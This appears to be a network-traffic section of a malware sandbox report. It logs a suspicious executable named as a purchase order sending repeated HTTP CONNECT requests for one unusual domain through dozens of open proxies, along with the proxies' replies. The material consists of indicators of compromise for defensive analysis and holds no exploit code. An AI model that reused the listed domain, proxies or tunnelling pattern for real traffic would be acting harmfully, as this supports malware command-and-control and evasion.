Mar 11, 2024 16:41:00.816874981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:48.863707066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1023	192.168.2.10	51251	194.31.79.75	25517	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.630620003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.651910067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.708048105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.707895994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1024	192.168.2.10	53099	74.48.7.43	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.633896112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1025	192.168.2.10	53092	52.151.210.204	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.647818089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1026	192.168.2.10	53128	172.67.69.9	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.672384024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.827289104 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1027	192.168.2.10	53132	198.199.86.11	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.743289948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.227956057 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1028	192.168.2.10	53133	23.19.244.109	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.753034115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1029	192.168.2.10	52665	35.79.120.242	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.756304026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.026010036 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:48 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1030	192.168.2.10	53135	45.60.186.208	27488	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.762372017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1031	192.168.2.10	52671	14.116.188.182	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.765245914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.341761112 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1032	192.168.2.10	53229	43.153.81.60	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.766329050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1033	192.168.2.10	53230	43.153.81.60	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.768018007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1034	192.168.2.10	53232	43.153.81.60	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.769506931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1035	192.168.2.10	53234	43.153.81.60	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.770258904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1036	192.168.2.10	53095	193.239.58.92	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.774807930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1037	192.168.2.10	53100	128.140.26.12	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.784898996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.096128941 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.2 Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1038	192.168.2.10	52660	110.12.211.140	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.791872978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.091636896 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1039	192.168.2.10	52654	51.89.173.40	11058	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.797971964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.785978079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.786346912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.786293030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:12.786031008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:24.785677910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1040	192.168.2.10	53106	5.61.33.234	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.798125029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1041	192.168.2.10	53144	154.205.152.96	9080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.809638023 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:51.019478083 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1042	192.168.2.10	53103	14.103.26.53	8000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.809905052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.147675037 CET	741	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.19.2 Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 579 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 39 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.19.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1043	192.168.2.10	53101	31.134.151.40	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.814763069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1044	192.168.2.10	53173	104.25.64.27	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.823611975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.977936029 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1045	192.168.2.10	53062	42.61.48.219	8000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.826715946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.301395893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.617211103 CET	74	IN	HTTP/1.1 200 OK date: Mon, 11 Mar 2024 15:19:37 GMT server: svcproxy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1046	192.168.2.10	53130	94.130.94.45	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.827240944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1047	192.168.2.10	53098	103.200.135.229	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.835887909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1048	192.168.2.10	53117	120.26.68.107	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.837835073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.162791014 CET	442	IN	HTTP/1.1 405 Method Not Allowed Date: Mon, 11 Mar 2024 15:39:48 GMT Server: Apache Allow: OPTIONS,GET,HEAD,POST Vary: Accept-Encoding Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 43 4f 4e 4e 45 43 54 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 65 20 55 52 4c 20 2f 69 6e 64 65 78 2e 68 74 6d 6c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method CONNECT is not allowed for the URL /index.html.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1049	192.168.2.10	53202	104.16.105.182	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
